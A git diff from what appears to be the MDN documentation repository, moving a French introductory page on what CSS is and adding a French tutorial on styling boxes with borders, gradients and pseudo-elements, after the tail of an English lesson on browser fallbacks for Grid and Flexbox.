Support for feature queries is very good across modern browsers, however, you should note that it is the browsers that do not support CSS Grid, which also doesn’t support feature queries. This means that an approach as detailed above will work for those browsers. What we are doing is writing our old CSS first, outside of any feature query. Browsers that do not support Grid, and do not support the feature query will use that layout information they can understand and completely ignore everything else. The browsers that support the feature query also support CSS Grid and so will run the grid code and the code inside the feature query.

+ +

The specification for feature queries also contains the ability to test if a browser does not support a feature — this is only helpful if the browser does support feature queries. In the future, an approach of checking for lack of support will work, as the browsers that don’t have feature query support go away. For now, however, use the approach of doing the older CSS, then overwriting it, for the best support.

+ +

Older versions of Flexbox

+ +

In older versions of browsers, you can find previous iterations of the Flexbox specification. At the time of writing, this is mostly an issue with Internet Explorer 10, which uses the -ms-  prefix for Flexbox. This also means that there are some outdated articles and tutorials in existence; this useful guide helps you check what you are looking at and can also help if you need flex support in very old browsers.

+ +

The IE10 and 11 prefixed version of Grid

+ +

The CSS Grid specification was initially prototyped In Internet Explorer 10; this means that while IE10 and IE11 do not have modern grid support, they do have a version of Grid layout that is very usable, although different to the modern specification documented on this site. The IE10 and 11 implementations is  -ms- prefixed, which means you can use it for these browsers and it will be ignored by non-Microsoft browsers. Edge does still understand the old syntax, however, so take care that everything is safely overwritten in your modern grid CSS.

+ +

The guide to Progressive Enhancement in Grid Layout can help you understand the IE version of the grid, and we have included some additional useful links at the end of this lesson. However, unless you have a very high number of visitors in older IE versions, you may find it better to focus on creating a fallback that works for all non-supporting browsers.

+ +

Testing older browsers

+ +

With the majority of browsers supporting Flexbox and Grid, it can be reasonably hard to test older browsers. One way is to use an online testing tool such as Sauce Labs, as detailed in the Cross browser testing module.

+ +

You can also download and install Virtual Machines, and run older versions of browsers in a contained environment on your own computer. Having access to older versions of Internet Explorer is particularly useful, and for that purpose, Microsoft has made a range of Virtual Machines available for free download. These are available for Mac, Windows and Linux operating systems and so are a great way to test in old and modern Windows browsers even if you are not using a Windows computer.

+ +

Summary

+ +

You now have the knowledge to confidently use techniques such as Grid and Flexbox, create fallbacks for older browsers, and make use of any new techniques that might come along in the future.

+ +

See Also

+ + + +

{{PreviousMenuNext("Learn/CSS/CSS_layout/Legacy_Layout_methods", "Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension", "Learn/CSS/CSS_layout")}}

+ +

In this module

+ + diff --git a/files/fr/learn/css/first_steps/qu_est_ce_que_css/index.html b/files/fr/learn/css/first_steps/qu_est_ce_que_css/index.html deleted file mode 100644 index 0b4bfefc33..0000000000 --- a/files/fr/learn/css/first_steps/qu_est_ce_que_css/index.html +++ /dev/null @@ -1,132 +0,0 @@ ---- -title: Qu'est ce que CSS ? -slug: Learn/CSS/First_steps/Qu_est_ce_que_CSS -tags: - - Apprendre - - CSS - - Débutant - - Modules - - Specifications - - Syntaxe -translation_of: Learn/CSS/First_steps/What_is_CSS ---- -
{{LearnSidebar}}
- -
{{NextMenu("Learn/CSS/First_steps/Getting_started", "Learn/CSS/First_steps")}}
- -

{{Glossary("CSS")}} (Cascading Style Sheets) permet de créer des pages web à l'apparence soignée. Cet article vous propose de lever le voile en expliquant ce qu'est CSS ; un exemple simple en présentera la syntaxe puis quelques termes clé du langage seront introduits.

- - - - - - - - - - - - -
Prérequis :Notions de base en l'informatique, logiciels de base installés, savoir manipuler des fichiers, connaissance de base de HTML (cf. Introduction à HTML.)
Objectif :Apprendre ce qu'est CSS.
- -

Dans le cours Introduction à HTML, nous avons présenté le langage HTML et comment l'utiliser afin de rédiger des documents structurés. Ces documents seront consultables dans un navigateur. Les titres apparaîtront dans une police plus grande que le corps de texte, la rupture entre deux paragraphes sera marquée par un saut de ligne. Les liens seront soulignés et colorés pour les distinguer du reste du texte. L'image ci-dessous montre comment un navigateur affiche un document HTML — la mise en forme par défaut garantit un minimum de lisibilité, même si l'auteur de la page n'a spécifié aucune règle de style.

- -

La mise en forme par défaut appliquée par un navigateur.

- -

Le Web serait d'un ennui terrible si tous les sites ressemblaient à la page ci-dessus. Grâce à CSS, vous pouvez contrôler exactement l'affichage de chaque élément HTML dans le navigateur et ainsi présenter vos documents avec la mise en forme de votre choix.

- -

Pour plus d'informations sur les styles de navigateur/par défaut, consultez la vidéo suivante :

- -

{{EmbedYouTube("spK_S0HfzFw")}}

- -

À quoi sert CSS ?

- -

Comme mentionné plus haut, CSS est un langage de mise en forme des documents. 

- -

Les documents en question sont des fichiers texte structurés avec un langage de balises — {{Glossary("HTML")}} est le plus connu de ces langages, d'autres exemples sont {{Glossary("SVG")}} ou {{Glossary("XML")}}.

- -

"Présenter un document à l'utilisateur" signifie convertir ce document dans une forme utilisable par le public visé. Les {{Glossary("browser","navigateurs")}}, tels {{Glossary("Mozilla Firefox","Firefox")}}, {{Glossary("Google Chrome","Chrome")}}, {{Glossary("Safari","Safari")}} ou {{Glossary("Microsoft Edge","Edge")}} sont conçus pour présenter visuellement des documents, que ce soit sur l'écran d'un ordinateur, un vidéo-projecteur ou une imprimante.

- -
-

Note : Un navigateur est parfois appelé {{Glossary("User agent","agent utilisateur")}}. On entend par là un programme informatique qui agit pour un utilisateur au sein d'un système informatique. Pour CSS, les premiers agents utilisateur qui nous viennent à l'esprit sont les navigateurs. Ce ne sont pourtant pas les seuls. Il existe d'autres "agents utilisateurs" comme les programmes qui convertissent des documents  HTML et CSS en documents PDF imprimables.

-
- -

CSS peut être utilisé pour une mise en forme élémentaire des documents — par exemple changer la couleur et la taille des titres et des liens. Il peut être utilisé pour concevoir une maquette — par exemple transformer un texte affiché sur une colonne en une composition avec un cadre principal et une barre latérale pour les informations reliées. Avec CSS, on peut aussi produire des animations. N'hésitez pas à cliquer sur les liens de ce paragraphe pour observer différents exemples.

- -

Syntaxe de CSS

- -

CSS est un langage basé sur des règles — on définit des règles de styles destinées à des éléments ou des groupes d'éléments particuliers dans la page.

- -

Par exemple "Je veux que le titre principal de ma page s'affiche en rouge en gros caractères."

- -

Dans le code suivant, une règle CSS élémentaire réalise cette mise en forme :

- -
h1 {
-  color: red;
-  font-size: 5em;
-}
- -

La règle commence par un {{Glossary("CSS Selector", "sélecteur")}}, l'élément HTML mis en forme. Ici le style s'applique aux titres de niveau 1 ({{htmlelement("h1")}}).

- -

Suivent une paire d'accolades { } à l'intérieur desquelles on trouve une ou plusieurs déclarations, sous la forme d'une paire propriété : valeur. Chaque paire précise une propriété de l'élément sélectionné, suivie de la valeur choisie pour cette propriété ; la propriété et la valeur sont séparées par deux points. Chaque déclaration se termine par un point-virgule. À chaque {{Glossary("property/CSS","propriété")}} définie par CSS correspondent différentes valeurs possibles. Dans l'exemple, la propriété color peut prendre différentes valeurs de type <color>. La propriété font-size accepte différentes tailles comme valeurs.

- -

Une feuille de style CSS est constituée d'une succession de telles règles :

- -
h1 {
-  color: red;
-  font-size: 5em;
-}
-
-p {
-  color: black;
-}
- -

On retient facilement certaines valeurs, d'autres sont plus difficiles à mémoriser. Pour s'y retrouver, sur MDN, la page individuelle de chaque propriété donne un aperçu rapide et complet des valeurs applicables.

- -
-

Note : Sur MDN, dans la référence CSS, vous trouverez une collection de liens à propos de chaque propriété CSS (ainsi que d'autres aspects de CSS). Par ailleurs, n'hésitez pas à lancer des requêtes "mdn nom-de-propriété-ou-fonctionnalité-css" dans votre moteur de recherche préféré dès qu'un aspect de CSS vous interpelle. Vous pouvez par exemple tester les requêtes "mdn color" et "mdn font-size" !

-
- -

Modules CSS

- -

L'ensemble des fonctionnalités CSS est si important que le langage et ses spécifications ont été découpés en modules. En naviguant dans le site MDN vous croiserez ces modules : quand des pages de documentation sont regroupées, c'est la plupart du temps qu'elles réfèrent à un même module. Par exemple, jetez un œil à la référence MDN pour le module Backgrounds and Borders, vous y trouverez ce pour quoi il a été conçu, les différentes propriétés et fonctionnalités qu'il regroupe. Vous trouverez aussi des liens vers la spécification CSS qui définit cette technologie (voir plus bas).

- -

À ce stade, inutile de se préoccuper de la structure de CSS (même s'il est parfois plus simple de trouver une information quand on a compris qu'une propriété est reliée à une famille d'autres propriétés au sein d'un même module de spécification).

- -

Prenons un exemple précis et revenons au module Backgrounds and Borders — les propriétés background-color et border-color qui agissent sur l'arrière-plan et les bordures appartiennent toutes les deux à ce module.

- -

Spécifications CSS

- -

Chaque technologie standard du Web (HTML, CSS, JavaScript, etc.) est définie dans un grand document appelé spécification (parfois abrégé en "spec"). Les spécifications sont publiées par des organisations de standardisation (telles que le {{glossary("W3C")}}, {{glossary("WHATWG")}}, {{glossary("ECMA")}}, ou {{glossary("Khronos")}}), elles définissent précisément le comportement attendu de ces technologies.

- -

CSS ne déroge pas à la règle — il est développé par un groupe au sein du W3C, nommé le CSS Working Group (ou "groupe de travail CSS" en français). Ce groupe est constitué de représentants des éditeurs de navigateurs et d'autres sociétés concernées par CSS. On y trouve aussi des experts invités affiliés à aucune des organisations membres qui apporte une voix indépendante à la conception de CSS.

- -

De nouveaux aspects de CSS sont développés ou spécifiés par le groupe de travail CSS, parfois parce qu'un navigateur particulier désire tel comportement, d'autres fois parce que des concepteurs web et des développeurs demandent certaines fonctionnalités et enfin parfois lorsque le CSS Working Group a identifié un besoin. CSS est en développement constant, avec de nouvelles fonctionnalités disponibles au fur et à mesure. Une des caractéristiques cruciale de chaque brique du Web et donc de CSS est la rétro-compatibilité : chaque contributeur s'attache à garantir qu'un site web développé en 2000 avec le CSS disponible à l'époque sera toujours utilisable dans un navigateur actuel ! 

- -

Si vous débutez en CSS, la lecture des spécifications peut être déroutante : elles s'adressent avant tout aux ingénieurs qui implémentent la prise en charge dans les navigateurs et pas aux développeurs web qui doivent comprendre les propriétés pour les utiliser dans leurs sites. Dans ce cas, la documentation MDN ou d'autres tutoriels sont recommandés. Il est pourtant important de savoir que les spécifications existent, de comprendre la relation entre celles-ci, le CSS que vous utilisez et la prise en charge des navigateurs (voir ci-dessous).

- -

Prise en charge par les navigateurs

- -

Les fonctionnalités CSS définies dans les spécifications peuvent uniquement être utilisées dans une page web si un ou plusieurs navigateurs les implémentent. Autrement dit, il faut bien qu'il y ait un programme qui puisse transformer les règles CSS en éléments affichés à l'écran.

- -

Nous étudierons ce point plus en détail dans l'article sur le fonctionnement de CSS. Il est rare que les différents navigateurs implémentent simultanément une nouvelle fonctionnalité CSS. Il est donc fréquent que certains sous-ensembles de CSS soient fonctionnels pour certains navigateurs et pas pour d'autres. Pour cette raison, il est essentiel de vérifier l'état de la compatibilité et des implémentations. Sur chaque page MDN décrivant une propriété, le statut d'implémentation de la propriété est fourni dans un tableau de compatibilité web. Vous saurez ainsi s'il est pertinent de l'utiliser dans votre site web.

- -

Voici par exemple le tableau de compatibilité pour la propriété font-family.

- -

{{Compat("css.properties.font-family")}}

- -

Où continuer

- -

Maintenant que vous avez compris ce qu'est CSS, vous pourrez commencer à écrire vos premières règles de style dans la leçon Démarrer avec CSS.

- -

{{NextMenu("Learn/CSS/First_steps/Getting_started", "Learn/CSS/First_steps")}}

- -

Dans ce cours

- -
    -
  1. Qu'est-ce que CSS ?
    2. -
  2. Démarrer avec CSS
    3. -
  3. La façon dont CSS est structuré
    4. -
  4. Le fonctionnement de CSS
    5. -
  5. Mettre en œuvre vos nouvelles connaissances
    6. -
diff --git a/files/fr/learn/css/first_steps/what_is_css/index.html b/files/fr/learn/css/first_steps/what_is_css/index.html new file mode 100644 index 0000000000..0b4bfefc33 --- /dev/null +++ b/files/fr/learn/css/first_steps/what_is_css/index.html @@ -0,0 +1,132 @@ +--- +title: Qu'est ce que CSS ? +slug: Learn/CSS/First_steps/Qu_est_ce_que_CSS +tags: + - Apprendre + - CSS + - Débutant + - Modules + - Specifications + - Syntaxe +translation_of: Learn/CSS/First_steps/What_is_CSS +--- +
{{LearnSidebar}}
+ +
{{NextMenu("Learn/CSS/First_steps/Getting_started", "Learn/CSS/First_steps")}}
+ +

{{Glossary("CSS")}} (Cascading Style Sheets) permet de créer des pages web à l'apparence soignée. Cet article vous propose de lever le voile en expliquant ce qu'est CSS ; un exemple simple en présentera la syntaxe puis quelques termes clé du langage seront introduits.

+ + + + + + + + + + + + +
Prérequis :Notions de base en l'informatique, logiciels de base installés, savoir manipuler des fichiers, connaissance de base de HTML (cf. Introduction à HTML.)
Objectif :Apprendre ce qu'est CSS.
+ +

Dans le cours Introduction à HTML, nous avons présenté le langage HTML et comment l'utiliser afin de rédiger des documents structurés. Ces documents seront consultables dans un navigateur. Les titres apparaîtront dans une police plus grande que le corps de texte, la rupture entre deux paragraphes sera marquée par un saut de ligne. Les liens seront soulignés et colorés pour les distinguer du reste du texte. L'image ci-dessous montre comment un navigateur affiche un document HTML — la mise en forme par défaut garantit un minimum de lisibilité, même si l'auteur de la page n'a spécifié aucune règle de style.

+ +

La mise en forme par défaut appliquée par un navigateur.

+ +

Le Web serait d'un ennui terrible si tous les sites ressemblaient à la page ci-dessus. Grâce à CSS, vous pouvez contrôler exactement l'affichage de chaque élément HTML dans le navigateur et ainsi présenter vos documents avec la mise en forme de votre choix.

+ +

Pour plus d'informations sur les styles de navigateur/par défaut, consultez la vidéo suivante :

+ +

{{EmbedYouTube("spK_S0HfzFw")}}

+ +

À quoi sert CSS ?

+ +

Comme mentionné plus haut, CSS est un langage de mise en forme des documents. 

+ +

Les documents en question sont des fichiers texte structurés avec un langage de balises — {{Glossary("HTML")}} est le plus connu de ces langages, d'autres exemples sont {{Glossary("SVG")}} ou {{Glossary("XML")}}.

+ +

"Présenter un document à l'utilisateur" signifie convertir ce document dans une forme utilisable par le public visé. Les {{Glossary("browser","navigateurs")}}, tels {{Glossary("Mozilla Firefox","Firefox")}}, {{Glossary("Google Chrome","Chrome")}}, {{Glossary("Safari","Safari")}} ou {{Glossary("Microsoft Edge","Edge")}} sont conçus pour présenter visuellement des documents, que ce soit sur l'écran d'un ordinateur, un vidéo-projecteur ou une imprimante.

+ +
+

Note : Un navigateur est parfois appelé {{Glossary("User agent","agent utilisateur")}}. On entend par là un programme informatique qui agit pour un utilisateur au sein d'un système informatique. Pour CSS, les premiers agents utilisateur qui nous viennent à l'esprit sont les navigateurs. Ce ne sont pourtant pas les seuls. Il existe d'autres "agents utilisateurs" comme les programmes qui convertissent des documents  HTML et CSS en documents PDF imprimables.

+
+ +

CSS peut être utilisé pour une mise en forme élémentaire des documents — par exemple changer la couleur et la taille des titres et des liens. Il peut être utilisé pour concevoir une maquette — par exemple transformer un texte affiché sur une colonne en une composition avec un cadre principal et une barre latérale pour les informations reliées. Avec CSS, on peut aussi produire des animations. N'hésitez pas à cliquer sur les liens de ce paragraphe pour observer différents exemples.

+ +

Syntaxe de CSS

+ +

CSS est un langage basé sur des règles — on définit des règles de styles destinées à des éléments ou des groupes d'éléments particuliers dans la page.

+ +

Par exemple "Je veux que le titre principal de ma page s'affiche en rouge en gros caractères."

+ +

Dans le code suivant, une règle CSS élémentaire réalise cette mise en forme :

+ +
h1 {
+  color: red;
+  font-size: 5em;
+}
+ +

La règle commence par un {{Glossary("CSS Selector", "sélecteur")}}, l'élément HTML mis en forme. Ici le style s'applique aux titres de niveau 1 ({{htmlelement("h1")}}).

+ +

Suivent une paire d'accolades { } à l'intérieur desquelles on trouve une ou plusieurs déclarations, sous la forme d'une paire propriété : valeur. Chaque paire précise une propriété de l'élément sélectionné, suivie de la valeur choisie pour cette propriété ; la propriété et la valeur sont séparées par deux points. Chaque déclaration se termine par un point-virgule. À chaque {{Glossary("property/CSS","propriété")}} définie par CSS correspondent différentes valeurs possibles. Dans l'exemple, la propriété color peut prendre différentes valeurs de type <color>. La propriété font-size accepte différentes tailles comme valeurs.

+ +

Une feuille de style CSS est constituée d'une succession de telles règles :

+ +
h1 {
+  color: red;
+  font-size: 5em;
+}
+
+p {
+  color: black;
+}
+ +

On retient facilement certaines valeurs, d'autres sont plus difficiles à mémoriser. Pour s'y retrouver, sur MDN, la page individuelle de chaque propriété donne un aperçu rapide et complet des valeurs applicables.

+ +
+

Note : Sur MDN, dans la référence CSS, vous trouverez une collection de liens à propos de chaque propriété CSS (ainsi que d'autres aspects de CSS). Par ailleurs, n'hésitez pas à lancer des requêtes "mdn nom-de-propriété-ou-fonctionnalité-css" dans votre moteur de recherche préféré dès qu'un aspect de CSS vous interpelle. Vous pouvez par exemple tester les requêtes "mdn color" et "mdn font-size" !

+
+ +

Modules CSS

+ +

L'ensemble des fonctionnalités CSS est si important que le langage et ses spécifications ont été découpés en modules. En naviguant dans le site MDN vous croiserez ces modules : quand des pages de documentation sont regroupées, c'est la plupart du temps qu'elles réfèrent à un même module. Par exemple, jetez un œil à la référence MDN pour le module Backgrounds and Borders, vous y trouverez ce pour quoi il a été conçu, les différentes propriétés et fonctionnalités qu'il regroupe. Vous trouverez aussi des liens vers la spécification CSS qui définit cette technologie (voir plus bas).

+ +

À ce stade, inutile de se préoccuper de la structure de CSS (même s'il est parfois plus simple de trouver une information quand on a compris qu'une propriété est reliée à une famille d'autres propriétés au sein d'un même module de spécification).

+ +

Prenons un exemple précis et revenons au module Backgrounds and Borders — les propriétés background-color et border-color qui agissent sur l'arrière-plan et les bordures appartiennent toutes les deux à ce module.

+ +

Spécifications CSS

+ +

Chaque technologie standard du Web (HTML, CSS, JavaScript, etc.) est définie dans un grand document appelé spécification (parfois abrégé en "spec"). Les spécifications sont publiées par des organisations de standardisation (telles que le {{glossary("W3C")}}, {{glossary("WHATWG")}}, {{glossary("ECMA")}}, ou {{glossary("Khronos")}}), elles définissent précisément le comportement attendu de ces technologies.

+ +

CSS ne déroge pas à la règle — il est développé par un groupe au sein du W3C, nommé le CSS Working Group (ou "groupe de travail CSS" en français). Ce groupe est constitué de représentants des éditeurs de navigateurs et d'autres sociétés concernées par CSS. On y trouve aussi des experts invités affiliés à aucune des organisations membres qui apporte une voix indépendante à la conception de CSS.

+ +

De nouveaux aspects de CSS sont développés ou spécifiés par le groupe de travail CSS, parfois parce qu'un navigateur particulier désire tel comportement, d'autres fois parce que des concepteurs web et des développeurs demandent certaines fonctionnalités et enfin parfois lorsque le CSS Working Group a identifié un besoin. CSS est en développement constant, avec de nouvelles fonctionnalités disponibles au fur et à mesure. Une des caractéristiques cruciale de chaque brique du Web et donc de CSS est la rétro-compatibilité : chaque contributeur s'attache à garantir qu'un site web développé en 2000 avec le CSS disponible à l'époque sera toujours utilisable dans un navigateur actuel ! 

+ +

Si vous débutez en CSS, la lecture des spécifications peut être déroutante : elles s'adressent avant tout aux ingénieurs qui implémentent la prise en charge dans les navigateurs et pas aux développeurs web qui doivent comprendre les propriétés pour les utiliser dans leurs sites. Dans ce cas, la documentation MDN ou d'autres tutoriels sont recommandés. Il est pourtant important de savoir que les spécifications existent, de comprendre la relation entre celles-ci, le CSS que vous utilisez et la prise en charge des navigateurs (voir ci-dessous).

+ +

Prise en charge par les navigateurs

+ +

Les fonctionnalités CSS définies dans les spécifications peuvent uniquement être utilisées dans une page web si un ou plusieurs navigateurs les implémentent. Autrement dit, il faut bien qu'il y ait un programme qui puisse transformer les règles CSS en éléments affichés à l'écran.

+ +

Nous étudierons ce point plus en détail dans l'article sur le fonctionnement de CSS. Il est rare que les différents navigateurs implémentent simultanément une nouvelle fonctionnalité CSS. Il est donc fréquent que certains sous-ensembles de CSS soient fonctionnels pour certains navigateurs et pas pour d'autres. Pour cette raison, il est essentiel de vérifier l'état de la compatibilité et des implémentations. Sur chaque page MDN décrivant une propriété, le statut d'implémentation de la propriété est fourni dans un tableau de compatibilité web. Vous saurez ainsi s'il est pertinent de l'utiliser dans votre site web.

+ +

Voici par exemple le tableau de compatibilité pour la propriété font-family.

+ +

{{Compat("css.properties.font-family")}}

+ +

Où continuer

+ +

Maintenant que vous avez compris ce qu'est CSS, vous pourrez commencer à écrire vos premières règles de style dans la leçon Démarrer avec CSS.

+ +

{{NextMenu("Learn/CSS/First_steps/Getting_started", "Learn/CSS/First_steps")}}

+ +

Dans ce cours

+ +
    +
  1. Qu'est-ce que CSS ?
    2. +
  2. Démarrer avec CSS
    3. +
  3. La façon dont CSS est structuré
    4. +
  4. Le fonctionnement de CSS
    5. +
  5. Mettre en œuvre vos nouvelles connaissances
    6. +
diff --git a/files/fr/learn/css/howto/create_fancy_boxes/index.html b/files/fr/learn/css/howto/create_fancy_boxes/index.html new file mode 100644 index 0000000000..8e6fdc1761 --- /dev/null +++ b/files/fr/learn/css/howto/create_fancy_boxes/index.html @@ -0,0 +1,314 @@ +--- +title: Créer de belles boîtes +slug: Apprendre/CSS/Comment/Créer_de_belles_boîtes +tags: + - Apprendre + - CSS + - Débutant +translation_of: Learn/CSS/Howto/create_fancy_boxes +--- +

Les boîtes CSS sont des blocs de base pour la construction des pages web. Créer des boîtes agréables à regarder est un défi complexe et intéressant. C'est un défi intéressant parce qu'on peut implémenter une idée de concept, de design, grâce à du code qui fonctionne. C'est un défi complexe car CSS possède à la fois plein de contraintes et de libertés. Dans cet article, nous allons voir de quoi il en retourne en dessinant quelques belles boîtes.

+ +

Avant d'attaquer la partie pratique, nous vous recommandons de lire l'article qui explique le fonctionnement du modèle de boîte CSS. Bien que ce ne soit pas strictement nécessaire, il peut également être judicieux que de lire les bases de la disposition en CSS.

+ +

D'un point de vue technique, créer de belles boîtes devient beaucoup plus simple quand on connaît les propriétés de bordure (border-*) et d'arrière-plan (background-*) et les règles qui permettent de les appliquer sur une boîte donnée. Mais au delà de cet aspect technique, il s'agit aussi de laisser libre cours à votre créativité. Cela ne se fera pas en un jour et certains développeurs web passent beaucoup temps sur ces sujets.

+ +

Nous allons voir beaucoup d'exemples mais tout ces exemples n'utiliseront qu'un seul fragment de HTML, aussi simple que celui-ci :

+ +
<div class="joli">Coucou ! Je veux être joli.</div>
+ +

Effectivement, c'est très léger comme HTML. Que peut-on faire avec ça ?

+ +
    +
  • Modifier les propriétés liées au modèle de boîte : {{cssxref("width")}}, {{cssxref("height")}}, {{cssxref("padding")}}, {{cssxref("border")}}, etc.
    • +
  • Modifier les propriétés liées à son arrière-plan : {{cssxref("background")}}, {{cssxref("background-color")}}, {{cssxref("background-image")}}, {{cssxref("background-position")}}, {{cssxref("background-size")}}, etc.
    • +
  • Jouer sur les pseudo-éléments : {{cssxref("::before")}} et {{cssxref("::after")}}
    • +
  • Manipuler d'autres propriétés comme : {{cssxref("box-shadow")}}, {{cssxref("transform")}}, {{cssxref("outline")}}, etc.
    • +
+ +

En fait, ce n'est pas tant le HTML que le CSS qui va fournir ici plein de possibilités. Allons-y.

+ +

Jouer avec le modèle de boîte

+ +

Le modèle de boîte, seul, permet de ne créer que des effets basiques : ajouter des bordures, créer des rectangles, etc. Ça commence à devenir intéressant quand on joue sur les propriétés avec des valeurs négatives pour padding et/ou margin ou quand on utilise un border-radius supérieur à la taille de la boîte.

+ +

Créer des cercles

+ + + +

Voici un exemple à la fois simple et sympa. La propriété {{cssxref("border-radius")}} est utilisée pour arrondir les angles d'une boîte. Que se passe-t-il lorsque la taille du rayon pour l'arrondi est en fait supérieure ou égale à la taille de la boîte ?

+ +
.joli {
+  /* Mieux vaut centrer le texte dans un
+     cercle. */
+  text-align : center;
+
+  /* On fait attention à ce que le texte
+     ne touche pas la bordure. On placera
+     donc le texte avec un remplissage, ce
+     qui donnera une meilleure impression
+     pour le cercle. */
+  padding : 1em;
+
+  /* La bordure marquera le cercle. On
+     pourrait également utiliser un arrière-
+     plan car celui-ci aurait été contenu
+     par border-radius */
+  border : 0.5em solid black;
+
+  /* Assurons-nous que la boîte soit carrée
+     pour obtenir un cercle bien rond plutôt
+     qu'une ellipse ;) */
+  width  : 4em;
+  height : 4em;
+
+  /* Enfin, transformons le carré en cercle */
+  border-radius: 100%;
+}
+ +

Et voilà comment on obtient un cercle :

+ +

{{EmbedLiveSample('Créer_des_cercles', '100%', '120')}}

+ +

Les arrière-plans

+ +

Lorsqu'on parle de boîtes plutôt jolies, les propriétés primordiales sont les propriétés background-*. Quand on manipule ces propriétés, on peut alors voir la boîte CSS comme une toile blanche qu'on pourrait peindre.

+ +

Avant d'aborder des exemples pratiques, revenons sur deux choses à savoir sur les arrière-plans :

+ +
    +
  • On peut définir plusieurs arrière-plans pour une boîte. Ceux-ci s'empileront les uns sur les autres comme des couches.
    • +
  • Les arrière-plans peuvent être des couleurs unies ou des images. Les couleurs remplissent toute la surface mais les images peuvent être mises à l'échelle et positionnées sur la boîte.
    • +
+ + + +

Passons à la manipulation :

+ +
.joli {
+  padding : 1em;
+  width: 100%;
+  height: 200px;
+  box-sizing: border-box;
+
+  /* La couche la plus basse sera
+     peinte avec un gris clair uni */
+  background-color: #E4E4D9;
+
+  /* Ensuite on applique des gradients
+     linéaires les uns sur les autres
+     pour créer un effet de bandes colorées.
+     Comme vous pouvez le voir, les gradients
+     sont considérés et manipulés comme des
+     images */
+  background-image: linear-gradient(175deg, rgba(0,0,0,0) 95%, #8da389 95%),
+                    linear-gradient( 85deg, rgba(0,0,0,0) 95%, #8da389 95%),
+                    linear-gradient(175deg, rgba(0,0,0,0) 90%, #b4b07f 90%),
+                    linear-gradient( 85deg, rgba(0,0,0,0) 92%, #b4b07f 92%),
+                    linear-gradient(175deg, rgba(0,0,0,0) 85%, #c5a68e 85%),
+                    linear-gradient( 85deg, rgba(0,0,0,0) 89%, #c5a68e 89%),
+                    linear-gradient(175deg, rgba(0,0,0,0) 80%, #ba9499 80%),
+                    linear-gradient( 85deg, rgba(0,0,0,0) 86%, #ba9499 86%),
+                    linear-gradient(175deg, rgba(0,0,0,0) 75%, #9f8fa4 75%),
+                    linear-gradient( 85deg, rgba(0,0,0,0) 83%, #9f8fa4 83%),
+                    linear-gradient(175deg, rgba(0,0,0,0) 70%, #74a6ae 70%),
+                    linear-gradient( 85deg, rgba(0,0,0,0) 80%, #74a6ae 80%);
+}
+ +

{{EmbedLiveSample('Les_arrière-plans', '100%', '200')}}

+ +
+

Note : Les gradients peuvent être utilisés pour créer une myriade d'effets. Vous pouvez par exemple consulter les excellents motifs CSS de Lea Verou. Attention cependant, en termes de performance, les gradients peuvent avoir un impact non négligeable. Si vous souhaitez explorer les gradients, n'hésitez pas à lire notre article dédié.

+
+ +

Les pseudo-éléments

+ +

Lorsqu'on met en forme une boîte, on aurait parfois envie d'avoir plus de boîtes pour composer une mise en forme plus complexe et plus belle. La plupart du temps, cela peut nous amener à polluer le DOM en ajoutant des éléments HTML supplémentaires, uniquement pour la mise en forme. Bien que ce soit parfois nécessaire, c'est considéré comme une mauvaise pratique. Pour éviter cela, on peut utiliser les pseudo-éléments CSS.

+ +

Un nuage

+ + + +

Voici un exemple qui illustre comment transformer la boîte en nuage :

+ +
.joli {
+  text-align: center;
+
+  /* On utilise la même astuce que pour
+     cercles vus avant */
+  box-sizing: border-box;
+  width     : 150px;
+  height    : 150px;
+  padding   : 80px 1em 0 1em;
+
+  /* On fait de la place pour les « oreilles »
+     du nuage */
+  margin    : 0 100px;
+
+  position: relative;
+
+  background-color: #A4C9CF;
+
+  /* Enfin, le cercle n'est pas tout à fait complet
+     car on veut que la base soit plate.
+     Vous pouvez adapter ici comme bon vous semble
+     si vous souhaitez que la base ne soit pas
+     linéaire */
+  border-radius: 100% 100% 0 0;
+}
+
+/* Voici les styles qu'on appliquera aux deux
+   pseudo-éléments ::before et ::after. */
+.joli::before,
+.joli::after {
+  /* Cette déclaration est nécessaire pour afficher
+     les pseudo-éléments même si leur valeur est la
+     chaîne vide */
+  content: '';
+
+  /* On positionne les pseudo-éléments à droite et à
+     gauche de la boîte mais toujours en bas */
+  position: absolute;
+  bottom  : 0;
+
+  /* On s'assure que les pseudo-éléments passent sous
+     le contenu qu'il y aurait. */
+  z-index : -1;
+
+  background-color: #A4C9CF;
+  border-radius: 100%;
+}
+
+.joli::before {
+  /* Voici la taille pour l'oreille gauche
+     du nuage */
+  width  : 125px;
+  height : 125px;
+
+  /* On la décale un peu à gauche */
+  left    : -80px;
+
+  /* Pour que le bas du nuage reste droit, il
+     faut s'assurer que le coin en bas à gauche
+     soit bien un angle droit. */
+  border-bottom-right-radius: 0;
+}
+
+.joli::after {
+  /* Voici la taille pour l'oreille droite */
+  width  : 100px;
+  height : 100px;
+
+  /* On la décale un peu à droite */
+  right   : -60px;
+
+ /* Pour que le bas du nuage reste droit, il
+    faut s'assurer que le coin en bas à droite
+    soit bien un angle droit. */
+  border-bottom-left-radius: 0;
+}
+ +

{{EmbedLiveSample('Un_nuage', '100%', '160') }}

+ +

Une citation

+ +

Pour prendre un exemple plus concret d'utilisation des pseudo-éléments : la mise en forme des éléments HTML {{HTMLElement('blockquote')}}. Prenons un exemple avec un fragment HTML différent, qui nous permettra en outre d'aborder les aspects de localisation :

+ +
<blockquote>People who think they know everything are a great annoyance to those of us who do. <i>Isaac Asimov</i></blockquote>
+<blockquote lang="fr">L'intelligence, c'est comme les parachutes, quand on n'en a pas, on s'écrase. <i>Pierre Desproges</i></blockquote>
+ +

Voici la feuille de style que nous allons utiliser :

+ +
blockquote {
+  min-height: 5em;
+  padding   : 1em 4em;
+  font      : 1em/150% sans-serif;
+  position  : relative;
+  background-color: lightgoldenrodyellow;
+}
+
+blockquote::before,
+blockquote::after {
+  position: absolute;
+  height  : 3rem;
+  font    : 6rem/100% Georgia, "Times New Roman", Times, serif;
+}
+
+blockquote::before {
+  content: '“';
+  top    : 0.3rem;
+  left   : 0.9rem;
+}
+
+blockquote::after {
+  content: '”';
+  bottom : 0.3rem;
+  right  : 0.8rem;
+}
+
+blockquote:lang(fr)::before {
+  content: '«';
+  top    : -1.5rem;
+  left   : 0.5rem;
+}
+
+blockquote:lang(fr)::after {
+  content: '»';
+  bottom : 2.6rem;
+  right  : 0.5rem
+}
+
+blockquote i {
+  display   : block;
+  font-size : 0.8em;
+  margin-top: 1rem;
+  text-style: italic;
+  text-align: right;
+}
+ +

{{EmbedLiveSample('Une_citation', '100%', '300')}}

+ +

L'assemblage

+ +

